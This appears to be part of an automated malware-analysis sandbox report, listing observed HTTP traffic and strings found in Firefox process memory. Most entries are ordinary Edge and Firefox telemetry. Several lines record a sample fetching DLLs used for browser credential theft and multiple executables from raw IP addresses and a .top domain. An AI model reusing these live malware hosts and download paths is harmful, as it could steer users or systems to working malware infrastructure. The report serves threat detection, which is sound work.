Source: global traffic	HTTP traffic detected: GET /b2?rn=1731932970278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=12002C73CB2660100B753948CA036107&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=12B5719cfe084fd78f8d0f11731932972; XID=12B5719cfe084fd78f8d0f11731932972
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=12002C73CB2660100B753948CA036107&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bc22edc35e614a30bcff4fbb88288d37 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731932970277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=6d6da51eb454486787bbdab97894ab08&activityId=6d6da51eb454486787bbdab97894ab08&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EEB5D52EEE804A698232082BFDC35C3E&MUID=12002C73CB2660100B753948CA036107 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732537764&P2=404&P3=2&P4=KrhXdgaCJ4z8Cs9EhrYqSgCCJAuGvkYe4ioLvYQ3HU2hNkyVyv9Cw%2fgB%2fsFWS0I3dLQtkqe8bk8rqpNnh%2b61YA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: kX+TZG5HOXDi5YhT9QeiJnSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7etvo8RcU7kD8zR&MD=o3Wk6usb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.everestjs.net/static/st.v3.jshttps://smartblock.firefox.etp/facebook.svg://pub.doubleverify.com/signals/pub.jsFileUtils_closeAtomicFileOutputStream://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.js://web-assets.toggl.com/app/assets/scripts/.jsresource://gre/modules/FileUtils.sys.mjspictureinpicture%40mozilla.org:1.0.0://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.jsFileUtils_openAtomicFileOutputStream://www.google-analytics.com/gtm/js*://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://cdn.adsafeprotected.com/iasPET.1.js://www.google-analytics.com/analytics.js*://static.adsafeprotected.com/iasPET.1.js://www.google-analytics.com/plugins/ua/ec.js://adservex.media.net/videoAds.js://.moatads.com//moatheader.js://pagead2.googlesyndication.com/tag/js/gpt.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://s.webtrends.com/js/advancedLinkTracking.js://js.maxmind.com/js/apis/geoip2//geoip2.js://ssl.google-analytics.com/ga.js://www.googletagservices.com/tag/js/gpt.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.jsresource://gre/modules/DeferredTask.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000030.00000002.2714304061.000001B4759FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B4759D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
